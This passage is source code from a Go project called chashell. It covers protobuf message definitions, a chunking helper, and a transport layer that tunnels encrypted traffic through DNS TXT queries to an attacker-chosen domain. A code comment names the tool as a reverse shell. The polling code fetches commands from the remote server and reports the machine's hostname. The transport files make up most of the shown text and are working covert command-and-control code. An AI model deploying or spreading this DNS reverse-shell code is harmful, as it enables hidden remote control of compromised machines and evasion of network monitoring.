m.Clientguid 64 | } 65 | return nil 66 | } 67 | 68 | type isMessage_Packet interface { 69 | isMessage_Packet() 70 | } 71 | 72 | type Message_Chunkstart struct { 73 | Chunkstart *ChunkStart `protobuf:"bytes,2,opt,name=chunkstart,proto3,oneof"` 74 | } 75 | 76 | type Message_Chunkdata struct { 77 | Chunkdata *ChunkData `protobuf:"bytes,3,opt,name=chunkdata,proto3,oneof"` 78 | } 79 | 80 | type Message_Pollquery struct { 81 | Pollquery *PollQuery `protobuf:"bytes,4,opt,name=pollquery,proto3,oneof"` 82 | } 83 | 84 | type Message_Infopacket struct { 85 | Infopacket *InfoPacket `protobuf:"bytes,5,opt,name=infopacket,proto3,oneof"` 86 | } 87 | 88 | func (*Message_Chunkstart) isMessage_Packet() {} 89 | 90 | func (*Message_Chunkdata) isMessage_Packet() {} 91 | 92 | func (*Message_Pollquery) isMessage_Packet() {} 93 | 94 | func (*Message_Infopacket) isMessage_Packet() {} 95 | 96 | func (m *Message) GetPacket() isMessage_Packet { 97 | if m != nil { 98 | return m.Packet 99 | } 100 | return nil 101 | } 102 | 103 | func (m *Message) GetChunkstart() *ChunkStart { 104 | if x, ok := m.GetPacket().(*Message_Chunkstart); ok { 105 | return x.Chunkstart 106 | } 107 | return nil 108 | } 109 | 110 | func (m *Message) GetChunkdata() *ChunkData { 111 | if x, ok := m.GetPacket().(*Message_Chunkdata); ok { 112 | return x.Chunkdata 113 | } 114 | return nil 115 | } 116 | 117 | func (m *Message) GetPollquery() *PollQuery { 118 | if x, ok := m.GetPacket().(*Message_Pollquery); ok { 119 | return x.Pollquery 120 | } 121 | return nil 122 | } 123 | 124 | func (m *Message) GetInfopacket() *InfoPacket { 125 | if x, ok := m.GetPacket().(*Message_Infopacket); ok { 126 | return x.Infopacket 127 | } 128 | return nil 129 | } 130 | 131 | // XXX_OneofWrappers is for the internal use of the proto package. 132 | func (*Message) XXX_OneofWrappers() []interface{} { 133 | return []interface{}{ 134 | (*Message_Chunkstart)(nil), 135 | (*Message_Chunkdata)(nil), 136 | (*Message_Pollquery)(nil), 137 | (*Message_Infopacket)(nil), 138 | } 139 | } 140 | 141 | type ChunkStart struct { 142 | Chunkid int32 `protobuf:"varint,1,opt,name=chunkid,proto3" json:"chunkid,omitempty"` 143 | Chunksize int32 `protobuf:"varint,2,opt,name=chunksize,proto3" json:"chunksize,omitempty"` 144 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 145 | XXX_unrecognized []byte `json:"-"` 146 | XXX_sizecache int32 `json:"-"` 147 | } 148 | 149 | func (m *ChunkStart) Reset() { *m = ChunkStart{} } 150 | func (m *ChunkStart) String() string { return proto.CompactTextString(m) } 151 | func (*ChunkStart) ProtoMessage() {} 152 | func (*ChunkStart) Descriptor() ([]byte, []int) { 153 | return fileDescriptor_d953d7eba1c19408, []int{1} 154 | } 155 | 156 | func (m *ChunkStart) XXX_Unmarshal(b []byte) error { 157 | return xxx_messageInfo_ChunkStart.Unmarshal(m, b) 158 | } 159 | func (m *ChunkStart) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 160 | return xxx_messageInfo_ChunkStart.Marshal(b, m, deterministic) 161 | } 162 | func (m *ChunkStart) XXX_Merge(src proto.Message) { 163 | xxx_messageInfo_ChunkStart.Merge(m, src) 164 | } 165 | func (m *ChunkStart) XXX_Size() int { 166 | return xxx_messageInfo_ChunkStart.Size(m) 167 | } 168 | func (m *ChunkStart) XXX_DiscardUnknown() { 169 | xxx_messageInfo_ChunkStart.DiscardUnknown(m) 170 | } 171 | 172 | var xxx_messageInfo_ChunkStart proto.InternalMessageInfo 173 | 174 | func (m *ChunkStart) GetChunkid() int32 { 175 | if m != nil { 176 | return m.Chunkid 177 | } 178 | return 0 179 | } 180 | 181 | func (m *ChunkStart) GetChunksize() int32 { 182 | if m != nil { 183 | return m.Chunksize 184 | } 185 | return 0 186 | } 187 | 188 | type ChunkData struct { 189 | Chunkid int32 `protobuf:"varint,1,opt,name=chunkid,proto3" json:"chunkid,omitempty"` 190 | Chunknum int32 `protobuf:"varint,2,opt,name=chunknum,proto3" json:"chunknum,omitempty"` 191 | Packet []byte `protobuf:"bytes,3,opt,name=packet,proto3" json:"packet,omitempty"` 192 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 193 | XXX_unrecognized []byte `json:"-"` 194 | XXX_sizecache int32 `json:"-"` 195 | } 196 | 197 | func (m *ChunkData) Reset() { *m = ChunkData{} } 198 | func (m *ChunkData) String() string { return proto.CompactTextString(m) } 199 | func (*ChunkData) ProtoMessage() {} 200 | func (*ChunkData) Descriptor() ([]byte, []int) { 201 | return fileDescriptor_d953d7eba1c19408, []int{2} 202 | } 203 | 204 | func (m *ChunkData) XXX_Unmarshal(b []byte) error { 205 | return xxx_messageInfo_ChunkData.Unmarshal(m, b) 206 | } 207 | func (m *ChunkData) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 208 | return xxx_messageInfo_ChunkData.Marshal(b, m, deterministic) 209 | } 210 | func (m *ChunkData) XXX_Merge(src proto.Message) { 211 | xxx_messageInfo_ChunkData.Merge(m, src) 212 | } 213 | func (m *ChunkData) XXX_Size() int { 214 | return xxx_messageInfo_ChunkData.Size(m) 215 | } 216 | func (m *ChunkData) XXX_DiscardUnknown() { 217 | xxx_messageInfo_ChunkData.DiscardUnknown(m) 218 | } 219 | 220 | var xxx_messageInfo_ChunkData proto.InternalMessageInfo 221 | 222 | func (m *ChunkData) GetChunkid() int32 { 223 | if m != nil { 224 | return m.Chunkid 225 | } 226 | return 0 227 | } 228 | 229 | func (m *ChunkData) GetChunknum() int32 { 230 | if m != nil { 231 | return m.Chunknum 232 | } 233 | return 0 234 | } 235 | 236 | func (m *ChunkData) GetPacket() []byte { 237 | if m != nil { 238 | return m.Packet 239 | } 240 | return nil 241 | } 242 | 243 | type PollQuery struct { 244 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 245 | XXX_unrecognized []byte `json:"-"` 246 | XXX_sizecache int32 `json:"-"` 247 | } 248 | 249 | func (m *PollQuery) Reset() { *m = PollQuery{} } 250 | func (m *PollQuery) String() string { return proto.CompactTextString(m) } 251 | func (*PollQuery) ProtoMessage() {} 252 | func (*PollQuery) Descriptor() ([]byte, []int) { 253 | return fileDescriptor_d953d7eba1c19408, []int{3} 254 | } 255 | 256 | func (m *PollQuery) XXX_Unmarshal(b []byte) error { 257 | return xxx_messageInfo_PollQuery.Unmarshal(m, b) 258 | } 259 | func (m *PollQuery) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 260 | return xxx_messageInfo_PollQuery.Marshal(b, m, deterministic) 261 | } 262 | func (m *PollQuery) XXX_Merge(src proto.Message) { 263 | xxx_messageInfo_PollQuery.Merge(m, src) 264 | } 265 | func (m *PollQuery) XXX_Size() int { 266 | return xxx_messageInfo_PollQuery.Size(m) 267 | } 268 | func (m *PollQuery) XXX_DiscardUnknown() { 269 | xxx_messageInfo_PollQuery.DiscardUnknown(m) 270 | } 271 | 272 | var xxx_messageInfo_PollQuery proto.InternalMessageInfo 273 | 274 | type InfoPacket struct { 275 | Hostname []byte `protobuf:"bytes,1,opt,name=hostname,proto3" json:"hostname,omitempty"` 276 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 277 | XXX_unrecognized []byte `json:"-"` 278 | XXX_sizecache int32 `json:"-"` 279 | } 280 | 281 | func (m *InfoPacket) Reset() { *m = InfoPacket{} } 282 | func (m *InfoPacket) String() string { return proto.CompactTextString(m) } 283 | func (*InfoPacket) ProtoMessage() {} 284 | func (*InfoPacket) Descriptor() ([]byte, []int) { 285 | return fileDescriptor_d953d7eba1c19408, []int{4} 286 | } 287 | 288 | func (m *InfoPacket) XXX_Unmarshal(b []byte) error { 289 | return xxx_messageInfo_InfoPacket.Unmarshal(m, b) 290 | } 291 | func (m *InfoPacket) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 292 | return xxx_messageInfo_InfoPacket.Marshal(b, m, deterministic) 293 | } 294 | func (m *InfoPacket) XXX_Merge(src proto.Message) { 295 | xxx_messageInfo_InfoPacket.Merge(m, src) 296 | } 297 | func (m *InfoPacket) XXX_Size() int { 298 | return xxx_messageInfo_InfoPacket.Size(m) 299 | } 300 | func (m *InfoPacket) XXX_DiscardUnknown() { 301 | xxx_messageInfo_InfoPacket.DiscardUnknown(m) 302 | } 303 | 304 | var xxx_messageInfo_InfoPacket proto.InternalMessageInfo 305 | 306 | func (m *InfoPacket) GetHostname() []byte { 307 | if m != nil { 308 | return m.Hostname 309 | } 310 | return nil 311 | } 312 | 313 | func init() { 314 | proto.RegisterType((*Message)(nil), "protocol.Message") 315 | proto.RegisterType((*ChunkStart)(nil), "protocol.ChunkStart") 316 | proto.RegisterType((*ChunkData)(nil), "protocol.ChunkData") 317 | proto.RegisterType((*PollQuery)(nil), "protocol.PollQuery") 318 | proto.RegisterType((*InfoPacket)(nil), "protocol.InfoPacket") 319 | } 320 | 321 | func init() { proto.RegisterFile("chacomm.proto", fileDescriptor_d953d7eba1c19408) } 322 | 323 | var fileDescriptor_d953d7eba1c19408 = []byte{ 324 | // 289 bytes of a gzipped FileDescriptorProto 325 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x7c, 0x51, 0xb1, 0x4e, 0xc3, 0x30, 326 | 0x14, 0x6c, 0x0b, 0x69, 0x93, 0xd7, 0xb2, 0x18, 0x84, 0x2c, 0x84, 0x50, 0x95, 0x29, 0x53, 0x06, 327 | 0x2a, 0xf1, 0x01, 0xd0, 0xa1, 0x0c, 0x48, 0xc5, 0x4c, 0x8c, 0xc6, 0x75, 0x9b, 0xa8, 0x8e, 0x1d, 328 | 0x62, 0x67, 0x80, 0x7f, 0xe0, 0x9f, 0x91, 0x4d, 0x62, 0x57, 0x19, 0x98, 0xe2, 0xf7, 0xde, 0xdd, 329 | 0xe9, 0xee, 0x02, 0x17, 0xac, 0xa0, 0x4c, 0x55, 0x55, 0x5e, 0x37, 0xca, 0x28, 0x14, 0xbb, 0x0f, 330 | 0x53, 0x22, 0xfd, 0x99, 0xc0, 0xec, 0x85, 0x6b, 0x4d, 0x0f, 0x1c, 0xdd, 0x01, 0x30, 0x51, 0x72, 331 | 0x69, 0x0e, 0x6d, 0xb9, 0xc3, 0xe3, 0xe5, 0x38, 0x5b, 0x90, 0x93, 0x0d, 0x7a, 0x00, 0x60, 0x45, 332 | 0x2b, 0x8f, 0xda, 0xd0, 0xc6, 0xe0, 0xc9, 0x72, 0x9c, 0xcd, 0xef, 0xaf, 0xf2, 0x5e, 0x2a, 0x7f, 333 | 0xb2, 0xb7, 0x37, 0x7b, 0xdb, 0x8c, 0xc8, 0x09, 0x12, 0xad, 0x20, 0x71, 0xd3, 0x8e, 0x1a, 0x8a, 334 | 0xcf, 0x1c, 0xed, 0x72, 0x40, 0x5b, 0x53, 0x43, 0x37, 0x23, 0x12, 0x70, 0x96, 0x54, 0x2b, 0x21, 335 | 0x3e, 0x5b, 0xde, 0x7c, 0xe1, 0xf3, 0x21, 0x69, 0xab, 0x84, 0x78, 0xb5, 0x27, 0x4b, 0xf2, 0x38, 336 | 0xeb, 0xb0, 0x94, 0x7b, 0x55, 0x53, 0x76, 0xe4, 0x06, 0x47, 0x43, 0x87, 0xcf, 0x72, 0xaf, 0xb6, 337 | 0xee, 0x66, 0x1d, 0x06, 0xe4, 0x63, 0x0c, 0xd3, 0xbf, 0x57, 0xba, 0x06, 0x08, 0x39, 0x10, 0x86, 338 | 0x99, 0x73, 0xd4, 0xd5, 0x11, 0x91, 0x7e, 0x44, 0xb7, 0x5d, 0x26, 0x5d, 0x7e, 0x73, 0x57, 0x45, 339 | 0x44, 0xc2, 0x22, 0x7d, 0x87, 0xc4, 0xc7, 0xfa, 0x47, 0xe4, 0x06, 0x62, 0xf7, 0x94, 0x6d, 0xd5, 340 | 0x69, 0xf8, 0x19, 0x5d, 0xf7, 0x96, 0x5c, 0x63, 0x0b, 0xd2, 0x1b, 0x9c, 0x43, 0xe2, 0xc3, 0xa7, 341 | 0x19, 0x40, 0xc8, 0x64, 0xe5, 0x0a, 0xa5, 0x8d, 0xa4, 0x15, 0xef, 0xfe, 0x9e, 0x9f, 0x3f, 0xa6, 342 | 0xae, 0x84, 0xd5, 0x6f, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5b, 0x3a, 0xe2, 0x6d, 0x09, 0x02, 0x00, 343 | 0x00, 344 | } 345 | -------------------------------------------------------------------------------- /lib/splitting/split.go: -------------------------------------------------------------------------------- 1 | package splitting 2 | 3 | import "bytes" 4 | 5 | func Split(buf []byte, lim int) [][]byte { 6 | var chunk []byte 7 | chunks := make([][]byte, 0, len(buf)/lim+1) 8 | for len(buf) >= lim { 9 | chunk, buf = buf[:lim], buf[lim:] 10 | chunks = append(chunks, chunk) 11 | } 12 | if len(buf) > 0 { 13 | chunks = append(chunks, buf[:len(buf)]) 14 | } 15 | return chunks 16 | } 17 | 18 | func Splits(s string, n int) []string { 19 | sub := "" 20 | subs := []string{} 21 | 22 | runes := bytes.Runes([]byte(s)) 23 | l := len(runes) 24 | for i, r := range runes { 25 | sub = sub + string(r) 26 | if (i+1)%n == 0 { 27 | subs = append(subs, sub) 28 | sub = "" 29 | } else if (i + 1) == l { 30 | subs = append(subs, sub) 31 | } 32 | } 33 | 34 | return subs 35 | } 36 | -------------------------------------------------------------------------------- /lib/transport/dnsclient.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | func sendDNSQuery(data []byte, target string) (responses []string, err error) { 9 | // We use TXT requests to tunnel data. Feel free to implement your own method. 10 | responses, err = net.LookupTXT(fmt.Sprintf("%s.%s", data, target)) 11 | return 12 | } 13 | -------------------------------------------------------------------------------- /lib/transport/encoding.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "bytes" 5 | "chashell/lib/crypto" 6 | "chashell/lib/logging" 7 | "chashell/lib/protocol" 8 | "chashell/lib/splitting" 9 | "encoding/hex" 10 | "github.com/golang/protobuf/proto" 11 | "strings" 12 | ) 13 | 14 | // ChunkMap should contains the chunk identifier, the chunk number, and the data associated. 15 | var ChunkMap = map[int32]map[int32]string{} 16 | // Sessions should contains the chunk informations about the chunkid associated. 17 | var Sessions = map[int32]protocol.ChunkStart{} 18 | // Counter to store the current packet identifier. 19 | var currentChunk = 0 20 | 21 | func Decode(payload string, encryptionKey string) (output []byte, complete bool) { 22 | // Decode the packet from hex. 23 | dataPacketRaw, err := hex.DecodeString(payload) 24 | 25 | if err != nil { 26 | logging.Println("Invalid packet.\n") 27 | return 28 | } 29 | 30 | // Check if the packet is big enough to fit the nonce. 31 | if len(dataPacketRaw) <= 24 { 32 | logging.Println("Received packet is too small!\n") 33 | return 34 | } 35 | 36 | // Authenticate and decrypt the packet. 37 | output, valid := crypto.Open(dataPacketRaw[24:], dataPacketRaw[:24], encryptionKey) 38 | 39 | // Raise an error if the message is invalid. 40 | if !valid { 41 | logging.Println("Received invalid/corrupted packet.\n") 42 | return 43 | } 44 | 45 | // Parse the "Message" part of the Protocol buffer packet. 46 | message := &protocol.Message{} 47 | if err := proto.Unmarshal(output, message); err != nil { 48 | // This should not append. 49 | logging.Printf("Failed to parse message packet: %v\n", err) 50 | return 51 | } 52 | 53 | // Process the message depending of his type. 54 | switch u := message.Packet.(type) { 55 | case *protocol.Message_Chunkstart: 56 | // A chunkstart packet indicate that we need to allocate memory to receive data. 57 | Sessions[u.Chunkstart.Chunkid] = *u.Chunkstart 58 | ChunkMap[u.Chunkstart.Chunkid] = make(map[int32]string) 59 | 60 | case *protocol.Message_Chunkdata: 61 | // Check if we have a valid session from this Chunkid. 62 | _, valid := Sessions[u.Chunkdata.Chunkid] 63 | 64 | if valid { 65 | // Fill the ChunkMap with the data from the message. 66 | ChunkMap[u.Chunkdata.Chunkid][u.Chunkdata.Chunknum] = string(u.Chunkdata.Packet) 67 | 68 | // Check if we have successfully received all the packets. 69 | if len(ChunkMap[u.Chunkdata.Chunkid]) == int(Sessions[u.Chunkdata.Chunkid].Chunksize) { 70 | 71 | // Rebuild the final data. 72 | var chunkBuffer bytes.Buffer 73 | 74 | for i := 0; i <= int(Sessions[u.Chunkdata.Chunkid].Chunksize)-1; i++ { 75 | chunkBuffer.WriteString(string(ChunkMap[u.Chunkdata.Chunkid][int32(i)])) 76 | } 77 | 78 | // Free some memory. 79 | delete(ChunkMap, u.Chunkdata.Chunkid) 80 | delete(Sessions, u.Chunkdata.Chunkid) 81 | 82 | // Return the complete data. 83 | return chunkBuffer.Bytes(), true 84 | } 85 | } 86 | } 87 | return nil, false 88 | } 89 | 90 | func dnsMarshal(pb proto.Message, encryptionKey string, isRequest bool) (string, error) { 91 | // Convert the Protobuf message to bytes. 92 | packet, err := proto.Marshal(pb) 93 | 94 | if err != nil { 95 | logging.Fatal("Unable to marshal packet.\n") 96 | } 97 | 98 | // Encrypt the message. 99 | nonce, message := crypto.Seal(packet, encryptionKey) 100 | 101 | // Create the data packet containing the nonce and the data. 102 | packetBuffer := bytes.Buffer{} 103 | packetBuffer.Write(nonce[:]) 104 | packetBuffer.Write(message) 105 | 106 | // Encode the final packet as hex. 107 | packetHex := hex.EncodeToString(packetBuffer.Bytes()) 108 | 109 | // If this is a DNS Request, subdomains cannot be longer than 63 chars 110 | // We need to split the packet, then join it using "." 111 | if isRequest { 112 | packetHex = strings.Join(splitting.Splits(packetHex, 63), ".") 113 | } 114 | 115 | return packetHex, err 116 | 117 | } 118 | 119 | func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain string, clientGuid []byte) (initPacket string, dataPackets []string) { 120 | 121 | // Chunk the packets so it fits the DNS max length (253) 122 | packets := splitting.Split(payload, (240/2)-len(targetDomain)-len(clientGuid)-(24*2)) 123 | 124 | // Increment the current chunk identifier 125 | currentChunk++ 126 | 127 | // Generate the init packet, containing informations about the number of chunks. 128 | init := &protocol.Message{ 129 | Clientguid: clientGuid, 130 | Packet: &protocol.Message_Chunkstart{ 131 | Chunkstart: &protocol.ChunkStart{ 132 | Chunkid: int32(currentChunk), 133 | Chunksize: int32(len(packets)), 134 | }, 135 | }, 136 | } 137 | 138 | // Transform the protobuf packet into an encrypted DNS packet. 139 | initPacket, err := dnsMarshal(init, encryptionKey, isRequest) 140 | 141 | if err != nil { 142 | logging.Fatalf("Init marshaling fatal error : %v\n", err) 143 | } 144 | 145 | // Iterate over every chunks. 146 | for id, packet := range packets { 147 | 148 | // Generate the "data" packet, containing the current chunk information and data. 149 | data := &protocol.Message{ 150 | Clientguid: clientGuid, 151 | Packet: &protocol.Message_Chunkdata{ 152 | Chunkdata: &protocol.ChunkData{ 153 | Chunkid: int32(currentChunk), 154 | Chunknum: int32(id), 155 | Packet: []byte(packet), 156 | }, 157 | }, 158 | } 159 | 160 | // Transform the protobuf packet into an encrypted DNS packet. 161 | dataPacket, err := dnsMarshal(data, encryptionKey, isRequest) 162 | 163 | if err != nil { 164 | logging.Fatalf("Packet marshaling fatal error : %v\n", err) 165 | } 166 | 167 | dataPackets = append(dataPackets, dataPacket) 168 | 169 | } 170 | return initPacket, dataPackets 171 | } 172 | -------------------------------------------------------------------------------- /lib/transport/polling.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "chashell/lib/logging" 5 | "chashell/lib/protocol" 6 | "os" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | // Create a queue were polling data will be sent. 12 | var packetQueue = make(chan []byte, 100) 13 | 14 | func pollRead(stream dnsStream) { 15 | sendInfoPacket(stream) 16 | loopCounter := 0 17 | for { 18 | // Sleep, this is a reverse-shell, not a DNS Stress testing tool. 19 | time.Sleep(200 * time.Millisecond) 20 | // Check for data ! 21 | poll(stream) 22 | loopCounter += 1 23 | 24 | // Send infoPacket each 60 seconds. 25 | if loopCounter % 300 == 0 { 26 | sendInfoPacket(stream) 27 | } 28 | } 29 | } 30 | 31 | func poll(stream dnsStream) { 32 | 33 | // Create a "polling" request. 34 | pollQuery := &protocol.Message{ 35 | Clientguid: stream.clientGuid, 36 | Packet: &protocol.Message_Pollquery{ 37 | Pollquery: &protocol.PollQuery{}, 38 | }, 39 | } 40 | 41 | pollPacket, err := dnsMarshal(pollQuery, stream.encryptionKey, true) 42 | 43 | if err != nil { 44 | logging.Fatal("Poll marshaling fatal error : %v\n", err) 45 | } 46 | 47 | answers, err := sendDNSQuery([]byte(pollPacket), stream.targetDomain) 48 | if err != nil { 49 | logging.Printf("Could not get answer : %v\n", err) 50 | return 51 | } 52 | 53 | if len(answers) > 0 { 54 | packetData := strings.Join(answers, "") 55 | if packetData == "-" { 56 | return 57 | } 58 | output, complete := Decode(packetData, stream.encryptionKey) 59 | if complete { 60 | packetQueue <- output 61 | } else { 62 | // More data available. Get it! 63 | poll(stream) 64 | } 65 | 66 | } 67 | } 68 | 69 | func sendInfoPacket(stream dnsStream){ 70 | // Get hostname. 71 | name, err := os.Hostname() 72 | if err != nil { 73 | logging.Println("Could not get hostname.") 74 | return 75 | } 76 | 77 | // Create infoPacket containing hostname. 78 | infoQuery := &protocol.Message{ 79 | Clientguid: stream.clientGuid, 80 | Packet: &protocol.Message_Infopacket{ 81 | Infopacket: &protocol.InfoPacket{Hostname: []byte(name)}, 82 | }, 83 | } 84 | 85 | // Send packet. 86 | pollPacket, err := dnsMarshal(infoQuery, stream.encryptionKey, true) 87 | sendDNSQuery([]byte(pollPacket), stream.targetDomain) 88 | } -------------------------------------------------------------------------------- /lib/transport/stream.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "chashell/lib/logging" 5 | "github.com/Jeffail/tunny" 6 | "github.com/rs/xid" 7 | "io" 8 | ) 9 | 10 | type dnsStream struct { 11 | targetDomain string 12 | encryptionKey string 13 | clientGuid []byte 14 | } 15 | 16 | func DNSStream(targetDomain string, encryptionKey string) *dnsStream { 17 | // Generate a "unique" client id. 18 | guid := xid.New() 19 | 20 | // Specify the stream configuration. 21 | dnsConfig := dnsStream{targetDomain: targetDomain, encryptionKey: encryptionKey, clientGuid: guid.Bytes()} 22 | 23 | // Poll data from the DNS server. 24 | go pollRead(dnsConfig) 25 | 26 | return &dnsConfig 27 | } 28 | 29 | func (stream *dnsStream) Read(data []byte) (int, error) { 30 | // Wait for a packet in the queue. 31 | packet := <- packetQueue 32 | // Copy it into the data buffer. 33 | copy(data, packet) 34 | // Return the number of bytes we read. 35 | return len(packet), nil 36 | } 37 | 38 | func (stream *dnsStream) Write(data []byte) (int, error) { 39 | 40 | // Encode the packets. 41 | initPacket, dataPackets := Encode(data, true, stream.encryptionKey, stream.targetDomain, stream.clientGuid) 42 | 43 | // Send the init packet to inform that we will send data. 44 | _, err := sendDNSQuery([]byte(initPacket), stream.targetDomain) 45 | if err != nil { 46 | logging.Printf("Unable to send init packet : %v\n", err) 47 | return 0, io.ErrClosedPipe 48 | } 49 | 50 | 51 | // Create a worker pool to asynchronously send DNS packets. 52 | poll := tunny.NewFunc(8, func(packet interface{}) interface{} { 53 | _, err := sendDNSQuery([]byte(packet.(string)), stream.targetDomain) 54 | 55 | if err != nil { 56 | logging.Printf("Failed to send data packet : %v\n", err) 57 | 58 | } 59 | return nil 60 | }) 61 | defer poll.Close() 62 | 63 | // Send jobs to the pool. 64 | for _, packet := range dataPackets { 65 | poll.Process(packet) 66 | } 67 | 68 | return len(data), nil 69 | } 70 | -------------------------------------------------------------------------------- /proto/chacomm.proto: -------------------------------------------------------------------------------- 1 | // [START declaration] 2 | syntax = "proto3"; 3 | package protocol; 4 | // [END declaration] 5 | 6 | // [START messages] 7 | 8 | message Message { 9 | bytes clientguid = 1; 10 | oneof packet { 11 | ChunkStart chunkstart = 2; 12 | ChunkData chunkdata = 3; 13 | PollQuery pollquery = 4; 14 | InfoPacket infopacket = 5; 15 | } 16 | } 17 | 18 | message ChunkStart { 19 | int32 chunkid = 1; // Chunk identifier 20 | int32 chunksize = 2; // Chunk count 21 | } 22 | 23 | message ChunkData { 24 | int32 chunkid = 1; // Chunk identifier 25 | int32 chunknum = 2; // Current chunk identifier 26 | bytes packet = 3; // Data 27 | } 28 | 29 | message PollQuery { 30 | 31 | } 32 | 33 | message InfoPacket { 34 | bytes hostname = 1; 35 | } --------------------------------------------------------------------------------